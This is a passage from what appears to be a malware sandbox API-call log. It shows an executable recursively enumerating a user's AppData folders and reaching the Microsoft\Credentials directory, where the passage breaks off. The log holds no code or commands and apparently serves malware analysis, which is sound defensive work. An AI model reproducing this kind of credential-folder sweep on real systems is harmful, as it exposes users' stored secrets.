cAlternateFileName="SETTIN~1.PAR")) returned 0 [0051.656] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63c9a8 | out: hHeap=0x540000) returned 1 [0051.657] FindClose (in: hFindFile=0x5dae60 | out: hFindFile=0x5dae60) returned 1 [0051.657] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0051.657] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sys", cAlternateFileName="")) returned 0 [0051.657] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x63c9a8 [0051.657] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0051.657] FindClose (in: hFindFile=0x5dae20 | out: hFindFile=0x5dae20) returned 1 [0051.657] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x5dae20 [0051.657] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.657] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0xadca1900, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xadca1900, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sys", cAlternateFileName="")) returned 1 [0051.657] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0xadca1900, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xadca1900, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sys", cAlternateFileName="")) returned 0 [0051.657] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63c9a8 | out: hHeap=0x540000) returned 1 [0051.657] FindClose (in: hFindFile=0x5dae20 | out: hFindFile=0x5dae20) returned 1 [0051.657] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0051.657] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 0 [0051.657] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55c178 [0051.657] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x575700 | out: hHeap=0x540000) returned 1 [0051.657] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0051.657] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0051.657] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.658] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 1 [0051.658] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 0 [0051.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c178 | out: hHeap=0x540000) returned 1 [0051.658] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0051.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c0b0 | out: hHeap=0x540000) returned 1 [0051.658] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 0 [0051.658] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559c58 [0051.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fe998 | out: hHeap=0x540000) returned 1 [0051.658] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0051.658] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0051.658] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.658] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 1 [0051.658] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 0 [0051.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559c58 | out: hHeap=0x540000) returned 1 [0051.658] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0051.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x540000) returned 1 [0051.658] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 0 [0051.658] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x6090e0 [0051.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0051.658] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0051.658] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0051.659] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.659] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#SharedObjects", cAlternateFileName="#SHARE~1")) returned 1 [0051.659] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 1 [0051.659] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 0 [0051.659] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6090e0 | out: hHeap=0x540000) returned 1 [0051.659] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0051.659] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0051.659] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 0 [0051.659] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0051.659] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf20 | out: hHeap=0x540000) returned 1 [0051.659] FindClose (in: hFindFile=0x5dad60 | out: hFindFile=0x5dad60) returned 1 [0051.661] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x5dad60 [0051.661] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6b695060, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6b695060, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.662] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0051.662] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 0 [0051.663] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0051.663] FindClose (in: hFindFile=0x5dad60 | out: hFindFile=0x5dad60) returned 1 [0051.663] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0051.663] FindNextFileW (in: hFindFile=0x5dac60, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa219f8a0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa219f8a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0x90bb9f00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x41000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Marvel.exe", cAlternateFileName="")) returned 1 [0051.663] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0051.663] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0051.663] FindNextFileW (in: hFindFile=0x5dac60, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0051.663] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0051.663] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0051.663] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0051.663] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0051.663] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8e) returned 0x608fb0 [0051.663] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0051.663] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0051.663] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0051.663] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db300 [0051.663] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0051.663] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x5dad60 [0051.663] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0051.663] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.663] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0051.663] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0051.663] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7c36290, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x7c36290, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x7c36290, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddIns", cAlternateFileName="")) returned 1 [0051.664] lstrcmpW (lpString1="AddIns", lpString2=".") returned 1 [0051.664] lstrcmpW (lpString1="AddIns", lpString2="..") returned 1 [0051.664] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0051.664] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0051.664] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0051.664] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0051.664] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0052.065] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.065] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7c36290, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x7c36290, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x7c36290, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.189] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.189] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.189] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7c36290, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x7c36290, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x7c36290, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0052.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcbb8 [0052.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xbe) returned 0x55bf20 [0052.189] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcbb8 | out: hHeap=0x540000) returned 1 [0052.189] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0052.189] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0052.190] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0052.190] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7c36290, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x7c36290, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x7c36290, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.190] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7c36290, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x7c36290, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x7c36290, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0052.190] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf20 | out: hHeap=0x540000) returned 1 [0052.190] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0052.190] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0052.190] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0052.190] lstrcmpW (lpString1="Credentials", lpString2=".") returned 1 [0052.190] lstrcmpW (lpString1="Credentials", lpString2="..") returned 1 [0052.190] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0052.190] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0052.190] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xbe) returned 0x55bf20 [0052.190] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0052.190] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0052.190] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0052.190] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0052.190] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0052.190] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, 